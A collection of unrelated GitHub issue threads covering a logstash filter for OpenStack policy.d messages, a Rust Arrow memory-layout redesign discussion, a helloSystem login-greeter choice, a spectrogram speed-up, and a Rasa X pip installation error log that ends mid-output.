Add filter for policy.d missing messages

Add a filter in logstash 02-general.conf file to filter policy.d missing message from any source. Right now this is a problem at least for Heat and Glance, but there could be other services that will or do produce this error.

recheck

I wonder why travis stopped working here. Let me investigate

There we go

Why not just create the missing directory? Then there's nothing to ignore.

There was a lot of conversation about exactly this. @sigmavirus24 convinced
me that it was not the best way forward because in the future, more
services will be impacted, and it wasn't the intent of the policy framework
in the first place. This is from memory.
On Mon, Jan 4, 2016, 11:28 git-harry<EMAIL_ADDRESS>wrote:

Why not just create the missing directory? Then there's nothing to ignore.
—
Reply to this email directly or view it on GitHub
https://github.com/rcbops/rpc-openstack/pull/698#issuecomment-168724190.

@git-harry Creating the directory implies (to operators) that it may actually be used by oslo.policy, which is not the long-term case. In fact, I'm rather certain oslo.policy stopped loading policies from that directory in Liberty (if not then it will be Mitaka). Creating the directory implies it should be used and I'd rather not have our customers start wondering why the policy files they placed there stopped working if they ever upgrade.

Which versions of rpc-openstack/openstack-ansible does this affect? Why not create the directories where appropriate and remove them when no longer supported? That strikes me as a normal upgrade task the code should account for. I don't know what load ignoring the log line equates to but 200G of messages on a small cluster sounds like a lot of unnecessary processing by logstash.

Why not create the directories where appropriate and remove them when no longer supported?

Will removing files created by customers without telling them will go over well?

@git-harry I do not believe these account for 200G of messages. See https://github.com/rcbops/rpc-openstack/issues/658#issuecomment-167704195 and https://github.com/rcbops/rpc-openstack/issues/658#issuecomment-167798823
Having said that, I made this check as simple and exact as possible. Is there a detriment you see with this patch? I agree it's not a perfect solution, but I also recognize that there isn't a perfect solution for this situation. @BjoernT and @sigmavirus24 have gone back and forth on this, as have I. And this simple patch after stewing on this problem for a week myself, seems to be the simplest solution. And removing this clause in the future poses no risk to customers and no unexpected human behavior. Adding a misleading directory which we then delete at a later date is just begging for misunderstanding and misuse.

I was surprised to see outdated messages in a recent logstash index and that caught my interest :
The file /var/log/nova/nova-cert.log-20151109.gz was parsed to we seem to parse rotated archives into ES again, causing all the duplicates ?
"_source":{"tags":["nova","openstack","oslofmt","logstash-input-tcp"],"@version":1,"@timestamp":"2016-01-04T22:53:37.957Z","host":"","file":"/var/log/nova/nova-cert.log-20151109.gz","message":"2015-11-01 23:46:12.275 559 ERROR oslo_messaging._drivers.impl_rabbit [req-85ed2552-187f-4dcb-9031-35568d70d21f - - - - -] AMQP server on  :5672 is unreachable: [Errno 111] ECONNREFUSED. Trying again in 1 seconds.","type":"file","logdate":"2015-11-01 23:46:12.275","pid":"559","loglevel":"ERROR","module":"oslo_messaging._drivers.impl_rabbit","logmessage":"[req-85ed2552-187f-4dcb-9031-35568d70d21f - - - - -] AMQP server on :5672 is unreachable: [Errno 111] ECONNREFUSED. Trying again in 1 seconds.","received_at":"2016-01-04 17:53:37 -0500"}
}, {
"_index" : "logstash-2016.01.04",

I'm +1 on this - having a directory just deleted on upgrade doesn't seem like a good idea to me.

I'm also +1 on this.


[Feature] Investigate width-based generation

We're going through every sample. This is crazy for large samples of audio.
Instead, we can look into generating a spectrogram for every vertical line of our image. This ensures very quick parse times, even for massive audio files.

Added in https://github.com/EmNudge/rust-wasm-spectrogram/commit/3afd7ecb7d7190bdf4efeb5585775c1e66625d19


Proposal

See README.md

Wow, I just spent the past hour going through your proposal and it looks really great. I like that you have made all the memory implementation easier to understand. The code reads very rusty. I also liked the fact that most of the things are documented and well explained. I think it does make sense to think about implementing this as the base for arrow, specially with the improvement in performance that you are reporting.
Regarding the NativeType trait and its implementations, I couldn't understand why it has to be unsafe. Do you mind explaining that to me?

I am thinking that while this is a major change for the implementation of Arrow, most of the APIs changed are what I would think of as implementation details.

The main difference happens in interactions with lower-end functionality, yes. But AFAIK folks at UrbanLogic (@maxburke) use them.
For higher-end functionality, the main change is that creating a primitive from an iterator has some more characters:
let array = iter.map(...).collect::<Primitive<i32>>().to(DataType::Date32);

vs
let array = iter.map(...).collect::<Date32Array>();

this is derived by the split between logical and physical parts of the array, so that we can e.g. create time-aware timestamps:
let array = iter.map(...).collect::<Primitive<i64>>().to(DataType::Timestamp(a, b));

which is not possible in current arrow without performing a cast the array or using ArrayData directly.

What do you have in mind for next steps?

evaluate if this covers all the necessary aspects for it to fly. I am adding some kernels on this new format, validate UX and coverage of requirements.

replace Buffer by Buffer<u8>. This has no semantic change but allow us to prepare the code to have typed buffers.

create all the traits required to read all attributes of all arrays, and implement them for all arrays.

Replace Array::data_ref/data by the new traits. The idea here is that we will continue to create arrays using ArrayData, but we do not use them to access data and instead rely on specific, type-specific methods for it. This requires a refactor of the transform and equal modules as well as ffi export, IPC writer and parquet writer (i.e. everything that is type-agnostic and relies on ArrayData).

Change array creation to not rely on ArrayData. After 4, code no longer relies reads of ArrayData and thus we can drop it entirely. This requires major changes to the Builder API, as well as anything that creates arrays, such as ffi import, IPC reader, parquet reader, etc, as they create arrays.

As you can see this really has a major impact in the crate as a whole, which is why is so hard to implement.

Regarding the NativeType trait and its implementations, I couldn't understand why it has to be unsafe. Do you mind explaining that to me?

The arrow specification assumes that a buffer can only be of certain types, and requires specific memory alignments for these. We use that to safely transfer data over FFI boundaries, write to parquet, IPC, etc. Furthermore, our allocator has an optimization on which we assume that NativeType do not contain any pointers.
Thus,
struct A(HashMap<i32, i32>);

impl NativeType for A {};

would leak and would also result in undefined behavior. Thus, we mark the trait as unsafe to tell everyone "look, do not implement this trait without careful consideration about what you are doing with it: the arrow crate is not prepared to handle arbitrary structs". In the arrow crate it is not marked as such but it should be.

would leak and would also result in undefined behavior. Thus, we mark the trait as unsafe to tell everyone "look, do not
implement this trait without careful consideration about what you are doing with it: the arrow crate is not prepared to handle arbitrary structs". In the arrow crate it is not marked as such but it should be.

Gotcha. So it is a warning to someone wanting the implement the trait to another type. Yesterday I was playing with you code and saw that I could remove the unsafe option from the trait and it would compile.
Out of curiosity, would it not make sense to keep the trait hidden (not pub) instead of using unsafe?

So it is a warning to someone wanting the implement the trait to another type. Yesterday I was playing with your code and saw that I could remove the unsafe option from the trait and it would compile.

Yes, that is the main use-case of unsafe. adding or removing unsafe does not have affect the produced binary; it is a keyword only used to flag errors. It works a bit like std::marker traits.

Out of curiosity, would it not make sense to keep the trait hidden (not pub) instead of using unsafe?

I agree with this sentiment. However, that would not allow people to write generics that depend on it. It is also not possible in Rust to publicly expose generic functions whose type parameters are not public, as it would "leak" a private trait via a public function. There are some discussions to allow a trait to be "sealed", but it is still in RFC phase, which I think would solve this problem.

I guess the sealed traits could be implemented like this example
https://rustype.github.io/notes/notes/rust-typestate-series/rust-typestate-part-1.html#stricter-states

Very interesting read and I really itches something that I experienced when starting using Arrow, but got used to overtime due to exposure. What is the main idea, fork and continue as arrow2? Or make a MVP and hope to get that merged into the main project?

I hope we don't end up with a fork. While it will be painful I think starting to break this PR up into pieces and bring it in incrementally into the main arrow codebase would be the most plausible way to bring the idea to fruition.

I also hope so, and I am working towards a plan to have this merged on the main repo.
Technically, the core hypothesis that I am testing atm is that the way this repo handles offsets works in integration with at least IPC integration tests. I am really uncertain here.
This PR uses a different approach to offsets, as they are no longer tracked only on ArrayData and instead each Buffer/Bitmap tracks its own, the same way Tokyo-bytes does it. This is dramatically easier to work with, but I am unsure whether it will work with IPC and FFI. If it does not work, I may have to revisit this whole thing. I working towards having the json IO migrated to this repo, as the integration tests for IPC use json.

Another thing that could help to get traction behind your idea is to have more performance comparisons between actual Arrow and the new implementation. I know you have put a lot of time into this, so if you would like help testing something let me know and I can help with that. A list of the things that you want to test could be useful se we can work on that.
Sorry to piggy-bag on this thread to ask something related to your NativeType trait implementation, but would using a private module (example) have the safe effect you are looking for sealing the traits?

Sorry for the late reply, but last weeks have been pretty busy. However, I did have time to work on this.
I have now concluded the feasibility study that I wanted to do on this.

I was able to make all IPC integration tests for both file and stream pass, both for little endian and big endian (which we do not even support in master atm).
I was unable to run read parquet integration tests because we have none: we only test that we read the files, not that the result is correct.
** I used pyarrow to get expected values to some of the parquet files we have available, but AFAIK they do not contain nulls, so I was unable to test the validity stuff. This approach is also not scalable.
** I was able to make this fork parse primitive types from parquet files
** I have not tested the write, mostly because we have no baseline to compare against
** I was unable to correctly read variable-sized arrays from parquet. I am not sure if this is due to my changes or an issue on master already (AFAIK we do not test that).

I thus conclude that the biggest risk for this endeavor is regressions on the parquet IO.
Recommended actions:

Park this until we have sufficient coverage for reading and writing parquet files to perform a migration.
Raise the possibility in the mailing list of creating golden parquet files and corresponding .arrow files (e.g. read the parquet from the c++ implementation and write .arrow), so that Rust (and others) can read them and compare against the respective .arrow to verify that the in-memory matches. This will give us IO parity across implementations, which in our case is necessary to validate that the readers and writers are consistent across languages.

golden parquet files and corresponding .arrow

I think this is an excellent idea.

I am closing this PR, as I will start the work of making this repo usable and stuff.
The ideas above hold, but I plan to use this repo to have the version of the code with a transmute-free implementation of arrow.

The repo now contains the design and implementation that I have been baking over the past months. Some modules have a README with the actual design notes of them (i.e. MUST, MAY, SHOULD, etc).
The repo has most things implemented with the notable exception of parquet IO, which I am still trying to grasp.
I feature-gated almost everything so that the crate depends on 3 small dependencies and chrono.
Many, many components were re-written from scratch because they left me no other choice. I also deprecated the "Builder" API, as it is entirely replaced by a FromIter equivalent that supports arbitrary (typed) nesting.
The specification is always validated when an array is created and there is little room for unsoundness.

😮  - so now the next question is, "what next and what can we do to help @jorgecarleitao "?


Use SDDM as the default Greeter

"Use LightDM as the default Greeter"
LightDM Provide a good login interface, And extensive support, my preference is "elementary greeter" because it provides stable support, but the shutdown notification needs to be changed to the HelloOS style.
E.g.
elementary-greeter

aqua-lightdm-webkit-theme

"By default, the theme looks for its background image at , which can simply be a symlink to the user's current background."

Has LightDM Qt Greeter been ported to FreeBSD yet?
We want to avoid Gtk.

Has LightDM Qt Greeter been ported to FreeBSD yet?
We want to avoid Gtk.

The project looks died.
Can't sddm be used?

I think X Display Manager(XDM) will be more suitable as a new DM, because Light DM Qt currently does not have a BSD version.

But the interface may need to be changed .

Sketch

Oh I remember that!

What would be needed to implement the Sketch? sddm?

May be

SDDM is very themable, and LightDM lets you program a new greeter entirely

If it is written in qt, SDDM is more appropriate.

It is better to display all user names as shown in the picture below, so you don’t have to bother to enter the user name.  Picture is Mac OS9 interface.

If SDDM can do it then add it

This is a ready-made SDDM theme I found, only need to modify the theme and a little configuration.
Dialog SDDM Theme

Please don't open new tickets for already existing ones. Thanks.

https://github.com/helloSystem/ISO/issues/382


Installation error

Rasa version: N/A
Rasa X version (if used & relevant): N/A
Python version: 3.7.4
Operating system (windows, osx, ...): Fedora 30
Issue: Running install command gives error:
pip install rasa-x --extra-index-url https://pypi.rasa.com/simple
I have read from a previous issue that sometimes newer versions of pip will cause this install command to fail. If I try to upgrade pip to 19.2.3 as the message at the end suggests, it does fail but gives a different error. I have also tried using:
pip3 install rasa-x --extra-index-url https://pypi.rasa.com/simple
which gives an error too. I do set up a virtual environment as recommended, and show that I used the commands on the installation page in my error log.
Error (including full traceback):
[sdmarth@localhost Rasa]$ python3 -m venv --system-site-packages ./venv
[sdmarth@localhost Rasa]$ source ./venv/bin/activate
(venv) [sdmarth@localhost Rasa]$ pip install rasa-x --extra-index-url https://pypi.rasa.com/simple
Looking in indexes: https://pypi.org/simple, https://pypi.rasa.com/simple
Collecting rasa-x
Collecting apscheduler~=3.5 (from rasa-x)
  Using cached https://files.pythonhosted.org/packages/09/ff/d5b0e81846cd5e92d02e5f2682b78c73a5d9d61bc1eae32cea5ac15c0d47/APScheduler-3.6.1-py2.py3-none-any.whl
Collecting simplejson~=3.16 (from rasa-x)
  Using cached https://files.pythonhosted.org/packages/e3/24/c35fb1c1c315fc0fffe61ea00d3f88e85469004713dab488dee4f35b0aff/simplejson-3.16.0.tar.gz
Collecting pika~=1.0.0 (from rasa-x)
  Using cached https://files.pythonhosted.org/packages/78/1a/28c98ee8b211be21d4a9f4ef1687c4d36f9302d47fcc28b81f9591abf6d8/pika-1.0.1-py2.py3-none-any.whl
Collecting requests~=2.22 (from rasa-x)
  Using cached https://files.pythonhosted.org/packages/51/bd/23c926cd341ea6b7dd0b2a00aba99ae0f828be89d72b2190f27c11d4b7fb/requests-2.22.0-py2.py3-none-any.whl
Collecting rasa~=1.2.5 (from rasa-x)
  Using cached https://files.pythonhosted.org/packages/37/40/9e20cca161cc0683b04870a35d4ab0549eab03f11a4be739b3493a1aa803/rasa-1.2.8-py3-none-any.whl
Collecting pyjwt (from rasa-x)
  Using cached https://files.pythonhosted.org/packages/87/8b/6a9f14b5f781697e51259d81657e6048fd31a113229cf346880bb7545565/PyJWT-1.7.1-py2.py3-none-any.whl
Collecting attrs>=18 (from rasa-x)
  Using cached https://files.pythonhosted.org/packages/23/96/d828354fa2dbdf216eaa7b7de0db692f12c234f7ef888cc14980ef40d1d2/attrs-19.1.0-py2.py3-none-any.whl
Collecting SQLAlchemy~=1.3.0 (from rasa-x)
  Using cached https://files.pythonhosted.org/packages/fc/49/82d64d705ced344ba458197dadab30cfa745f9650ee22260ac2b275d288c/SQLAlchemy-1.3.8.tar.gz
Collecting sanic~=19.3.1 (from rasa-x)
  Using cached https://files.pythonhosted.org/packages/90/11/31382617b33f89df0caca396f104628d256689a58a63c75d3e46663a8c8f/sanic-19.3.1-py3-none-any.whl
Collecting sanic-cors~=0.9.6 (from rasa-x)
  Using cached https://files.pythonhosted.org/packages/ac/a9/7168016496ab945b6bad51deaa6e9c0526ad8b09a43db49561b8c82e5484/Sanic_Cors-0.9.9.post1-py2.py3-none-any.whl
Collecting isodate~=0.6.0 (from rasa-x)
  Using cached https://files.pythonhosted.org/packages/9b/9f/b36f7774ff5ea8e428fdcfc4bb332c39ee5b9362ddd3d40d9516a55221b2/isodate-0.6.0-py2.py3-none-any.whl
Collecting aiohttp~=3.5 (from rasa-x)
  Using cached https://files.pythonhosted.org/packages/5e/86/f505d447c97cf57a0224c7e0e3a79b73b8cc3f0eb6eeed856e7fa48f8f64/aiohttp-3.6.0-cp37-cp37m-manylinux1_x86_64.whl
Collecting setuptools-scm~=3.3 (from rasa-x)
  Using cached https://files.pythonhosted.org/packages/1d/70/97966deebaeeda0b81d3cd63ba9f8ec929b838871ed17476de9d8159db3e/setuptools_scm-3.3.3-py2.py3-none-any.whl
Collecting jsonschema~=2.6.0 (from rasa-x)
  Using cached https://files.pythonhosted.org/packages/77/de/47e35a97b2b05c2fadbec67d44cfcdcd09b8086951b331d82de90d2912da/jsonschema-2.6.0-py2.py3-none-any.whl
Requirement already satisfied: python-dateutil~=2.8 in /usr/lib/python3.7/site-packages (from rasa-x) (2.8.0)
Collecting sanic-jwt~=1.3 (from rasa-x)
  Using cached https://files.pythonhosted.org/packages/9a/14/451e1e1ad90fd12a3e2bb41dd7acdbee2865012d841f4a5455a82c2d255a/sanic-jwt-1.3.2.tar.gz
Collecting alembic~=1.0.10 (from rasa-x)
  Using cached https://files.pythonhosted.org/packages/7b/8b/0c98c378d93165d9809193f274c3c6e2151120d955b752419c7d43e4d857/alembic-1.0.11.tar.gz
Collecting questionary>=1.1.0 (from rasa-x)
  Using cached https://files.pythonhosted.org/packages/c2/f9/8a6e7fce60566b3bcdc5ad0923916f38a65bca630ce3647251e672308bdf/questionary-1.3.0-py3-none-any.whl
Requirement already satisfied: six>=1.4.0 in /usr/lib/python3.7/site-packages (from apscheduler~=3.5->rasa-x) (1.12.0)
Requirement already satisfied: pytz in /home/sdmarth/.local/lib/python3.7/site-packages (from apscheduler~=3.5->rasa-x) (2019.2)
Collecting tzlocal>=1.2 (from apscheduler~=3.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/ef/99/53bd1ac9349262f59c1c421d8fcc2559ae8a5eeffed9202684756b648d33/tzlocal-2.0.0-py2.py3-none-any.whl
Requirement already satisfied: setuptools>=0.7 in ./venv/lib/python3.7/site-packages (from apscheduler~=3.5->rasa-x) (40.8.0)
Requirement already satisfied: idna<2.9,>=2.5 in /usr/lib/python3.7/site-packages (from requests~=2.22->rasa-x) (2.7)
Requirement already satisfied: chardet<3.1.0,>=3.0.2 in /usr/lib/python3.7/site-packages (from requests~=2.22->rasa-x) (3.0.4)
Requirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /usr/lib/python3.7/site-packages (from requests~=2.22->rasa-x) (1.24.3)
Collecting certifi>=2017.4.17 (from requests~=2.22->rasa-x)
  Using cached https://files.pythonhosted.org/packages/18/b0/8146a4f8dd402f60744fa380bc73ca47303cccf8b9190fd16a827281eac2/certifi-2019.9.11-py2.py3-none-any.whl
Collecting python-telegram-bot~=11.0 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/84/6c/47932a4041ee76650ad1f45a80e1422077e1e99c08a4d7a61cfbe5393d41/python_telegram_bot-11.1.0-py2.py3-none-any.whl
Collecting python-socketio~=4.0 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/35/b0/22c3f785f23fec5c7a815f47c55d7e7946a67ae2129ff604148e939d3bdb/python_socketio-4.3.1-py2.py3-none-any.whl
Collecting colorhash~=1.0 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/0e/e1/50dbc513aa74e99eca4c47f2a8206711f0bec436fdddd95eebaf7eaaa1aa/colorhash-1.0.2-py2.py3-none-any.whl
Collecting numpy~=1.16 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/ba/e0/46e2f0540370f2661b044647fa447fef2ecbcc8f7cdb4329ca2feb03fb23/numpy-1.17.2-cp37-cp37m-manylinux1_x86_64.whl
Collecting pymongo~=3.8 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/23/23/7666537adafcd232c88c156aa9382c859791d79bf12094005e009c2b6a3d/pymongo-3.9.0-cp37-cp37m-manylinux1_x86_64.whl
Collecting coloredlogs~=10.0 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/08/0f/7877fc42fff0b9d70b6442df62d53b3868d3a6ad1b876bdb54335b30ff23/coloredlogs-10.0-py2.py3-none-any.whl
Collecting mattermostwrapper~=2.0 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/93/70/203660597d12788e958dd691aa11c3c29caa075eadb2ce94d2eb53099d1b/mattermostwrapper-2.1-py2.py3-none-any.whl
Collecting pydot~=1.4 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/33/d1/b1479a770f66d962f545c2101630ce1d5592d90cb4f083d38862e93d16d2/pydot-1.4.1-py2.py3-none-any.whl
Collecting boto3~=1.9 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/47/fc/acaea05658fa525c7df3380ae9c31c40157b30b5ad06f55249f02261f129/boto3-1.9.227-py2.py3-none-any.whl
Collecting rocketchat-API~=0.6.0 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/e2/36/29d991028e2943b6a12abe12e3114a4cce13872283df7c7b784ee4cb59ed/rocketchat_API-0.6.34-py3-none-any.whl
Collecting networkx~=2.3 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/85/08/f20aef11d4c343b557e5de6b9548761811eb16e438cee3d32b1c66c8566b/networkx-2.3.zip
Collecting scipy~=1.2 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/94/7f/b535ec711cbcc3246abea4385d17e1b325d4c3404dd86f15fc4f3dba1dbb/scipy-1.3.1-cp37-cp37m-manylinux1_x86_64.whl
Collecting matplotlib~=3.0 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/19/7a/60bd79c5d79559150f8bba866dd7d434f0a170312e4d15e8aefa5faba294/matplotlib-3.1.1-cp37-cp37m-manylinux1_x86_64.whl
Collecting gevent~=1.4 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/d4/89/57b63d6d7967d8763b913172bf6831afb01951b9ed9da127f2938a365585/gevent-1.4.0-cp37-cp37m-manylinux1_x86_64.whl
Collecting kafka-python~=1.4 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/82/39/aebe3ad518513bbb2260dd84ac21e5c30af860cc4c95b32acbd64b9d9d0d/kafka_python-1.4.6-py2.py3-none-any.whl
Collecting pykwalify~=1.7.0 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/36/9f/612de8ca540bd24d604f544248c4c46e9db76f6ea5eb75fb4244da6ebbf0/pykwalify-1.7.0-py2.py3-none-any.whl
Collecting terminaltables~=3.1 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/9b/c4/4a21174f32f8a7e1104798c445dacdc1d4df86f2f26722767034e4de4bff/terminaltables-3.1.0.tar.gz
Collecting slackclient~=1.3 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/7c/2f/9b6db4c7686be3dc6b4244eaef4f37226a2ccca1a796516d4adcdfeefe56/slackclient-1.3.2.tar.gz
Collecting webexteamssdk~=1.1 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/30/c6/8e700b876e4cae92721569f579a36d8eee62e296c4813704e258a19f405c/webexteamssdk-1.1.1.tar.gz
Collecting sklearn-crfsuite~=0.3.6 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/25/74/5b7befa513482e6dee1f3dd68171a6c9dfc14c0eaa00f885ffeba54fe9b0/sklearn_crfsuite-0.3.6-py2.py3-none-any.whl
Collecting fbmessenger~=6.0 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/bd/e9/646684226176782b9e3b7dd5b35d7ecfd1d13cba24ad2e33255079921aab/fbmessenger-6.0.0-py2.py3-none-any.whl
Collecting twilio~=6.0 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/00/f9/b6cec4de7eaa1faa86d47a43b97b706a3c54538f83a16ad97a111022d6f3/twilio-6.30.0-py2.py3-none-any.whl
Collecting ruamel.yaml~=0.15.0 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/71/fc/12de89822adaa3a60b8cb0139bae75918278999d08e6dff158623abd7cba/ruamel.yaml-0.15.100-cp37-cp37m-manylinux1_x86_64.whl
Collecting scikit-learn~=0.20.2 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/87/6f/5863f1b27523c5d9f0ae2f3d07828ad383ceab39c79726d2ea4da7f679e7/scikit_learn-0.20.4-cp37-cp37m-manylinux1_x86_64.whl
Collecting tensorflow~=1.13.0 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/bc/70/45d3b9fab768215a2055c7819d39547a4b0b7401b4583094068741aff99b/tensorflow-1.13.2-cp37-cp37m-manylinux1_x86_64.whl
Collecting redis~=3.3.5 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/bd/64/b1e90af9bf0c7f6ef55e46b81ab527b33b785824d65300bb65636534b530/redis-3.3.8-py2.py3-none-any.whl
Collecting rasa-sdk~=1.2.0 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/b0/76/21fc4991c18306adba67759fd9fff4cd453117f53731f45fa93fed02faa5/rasa_sdk-1.2.0-py2.py3-none-any.whl
Collecting jsonpickle~=1.1 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/07/07/c157520a3ebd166c8c24c6ae0ecae7c3968eb4653ff0e5af369bb82f004d/jsonpickle-1.2-py2.py3-none-any.whl
Collecting packaging~=19.0 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/ec/22/630ac83e8f8a9566c4f88038447ed9e16e6f10582767a01f31c769d9a71e/packaging-19.1-py2.py3-none-any.whl
Collecting tqdm~=4.0 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/dc/88/d3213e2f3492daf09d8b41631ad6899f56db17ce83ea9c8a579902bafe5e/tqdm-4.35.0-py2.py3-none-any.whl
Collecting fakeredis~=1.0 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/86/a2/e34f6976e1a3c0579cbc6e992e743da9488730c63fbe2c0c1003b4e5b415/fakeredis-1.0.5-py2.py3-none-any.whl
Collecting colorclass~=2.2 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/37/ea/ae8dbb956939d4392e6a7fdef87fda273854da1128edae016c4104240be8/colorclass-2.2.0.tar.gz
Collecting async-generator~=1.10 (from rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/71/52/39d20e03abd0ac9159c162ec24b93fbcaa111e8400308f2465432495ca2b/async_generator-1.10-py3-none-any.whl
Collecting aiofiles>=0.3.0 (from sanic~=19.3.1->rasa-x)
  Using cached https://files.pythonhosted.org/packages/cf/f2/a67a23bc0bb61d88f82aa7fb84a2fb5f278becfbdc038c5cbb36c31feaf1/aiofiles-0.4.0-py3-none-any.whl
Collecting websockets<7.0,>=6.0 (from sanic~=19.3.1->rasa-x)
  Using cached https://files.pythonhosted.org/packages/0c/6a/d048dfe820fc956e57bb1115f5eda5a1bef320172811f72c9924c8d6ebb5/websockets-6.0-cp37-cp37m-manylinux1_x86_64.whl
Collecting uvloop>=0.5.3; sys_platform != "win32" and implementation_name == "cpython" (from sanic~=19.3.1->rasa-x)
  Using cached https://files.pythonhosted.org/packages/bb/27/83c42973ae0a27340c32170fa261f1692319371df1fb3bf054a00dd52d7c/uvloop-0.13.0-cp37-cp37m-manylinux2010_x86_64.whl
Collecting httptools>=0.0.10 (from sanic~=19.3.1->rasa-x)
  Using cached https://files.pythonhosted.org/packages/1b/03/215969db11abe8741e9c266a4cbe803a372bd86dd35fa0084c4df6d4bd00/httptools-0.0.13.tar.gz
Collecting ujson>=1.35; sys_platform != "win32" and implementation_name == "cpython" (from sanic~=19.3.1->rasa-x)
  Using cached https://files.pythonhosted.org/packages/16/c4/79f3409bc710559015464e5f49b9879430d8f87498ecdc335899732e5377/ujson-1.35.tar.gz
Collecting multidict<5.0,>=4.0 (from sanic~=19.3.1->rasa-x)
  Using cached https://files.pythonhosted.org/packages/88/f0/4d4cbd1a3744e3985efa49682352d0703df653ffa76b81f10fed86599a50/multidict-4.5.2-cp37-cp37m-manylinux1_x86_64.whl
Collecting sanic-plugins-framework>=0.8.2 (from sanic-cors~=0.9.6->rasa-x)
  Using cached https://files.pythonhosted.org/packages/ac/a6/258bdd353c22c3ff7f130d1c788f874a88e48d306614d2f622f3bac2576b/Sanic_Plugins_Framework-0.8.2-py2.py3-none-any.whl
Collecting yarl<2.0,>=1.0 (from aiohttp~=3.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/fb/84/6d82f6be218c50b547aa29d0315e430cf8a23c52064c92d0a8377d7b7357/yarl-1.3.0.tar.gz
Collecting async-timeout<4.0,>=3.0 (from aiohttp~=3.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/e1/1e/5a4441be21b0726c4464f3f23c8b19628372f606755a9d2e46c187e65ec4/async_timeout-3.0.1-py3-none-any.whl
Requirement already satisfied: Mako in /usr/lib/python3.7/site-packages (from alembic~=1.0.10->rasa-x) (1.0.12.dev0)
Collecting python-editor>=0.3 (from alembic~=1.0.10->rasa-x)
  Using cached https://files.pythonhosted.org/packages/c6/d3/201fc3abe391bbae6606e6f1d598c15d367033332bd54352b12f35513717/python_editor-1.0.4-py3-none-any.whl
Collecting prompt-toolkit~=2.0 (from questionary>=1.1.0->rasa-x)
  Using cached https://files.pythonhosted.org/packages/f7/a7/9b1dd14ef45345f186ef69d175bdd2491c40ab1dfa4b2b3e4352df719ed7/prompt_toolkit-2.0.9-py3-none-any.whl
Requirement already satisfied: cryptography in /usr/lib64/python3.7/site-packages (from python-telegram-bot~=11.0->rasa~=1.2.5->rasa-x) (2.6.1)
Collecting future>=0.16.0 (from python-telegram-bot~=11.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/90/52/e20466b85000a181e1e144fd8305caf2cf475e2f9674e797b222f8105f5f/future-0.17.1.tar.gz
Collecting python-engineio>=3.9.0 (from python-socketio~=4.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/2b/20/8e3ba16102ae2e245d70d9cb9fa48b076253fdb036dc43eea142294c2897/python_engineio-3.9.3-py2.py3-none-any.whl
Collecting humanfriendly>=4.7 (from coloredlogs~=10.0->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/90/df/88bff450f333114680698dc4aac7506ff7cab164b794461906de31998665/humanfriendly-4.18-py2.py3-none-any.whl
Collecting pyparsing>=2.1.4 (from pydot~=1.4->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/11/fa/0160cd525c62d7abd076a070ff02b2b94de589f1a9789774f17d7c54058e/pyparsing-2.4.2-py2.py3-none-any.whl
Collecting jmespath<1.0.0,>=0.7.1 (from boto3~=1.9->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/83/94/7179c3832a6d45b266ddb2aac329e101367fbdb11f425f13771d27f225bb/jmespath-0.9.4-py2.py3-none-any.whl
Collecting botocore<1.13.0,>=1.12.227 (from boto3~=1.9->rasa~=1.2.5->rasa-x)
  Using cached https://files.pythonhosted.org/packages/1f/d0/6648ae9564c9be39dd0a8177668ab843fc7fd640e2288d14cf58a8e23759/botocore-1.12.227-py2.py3-none-any.whl
Collecting s3transfer<0.3.0,>=0.2.0 (from boto3~=1.9->rasa~=1.2.5->rasa-x)
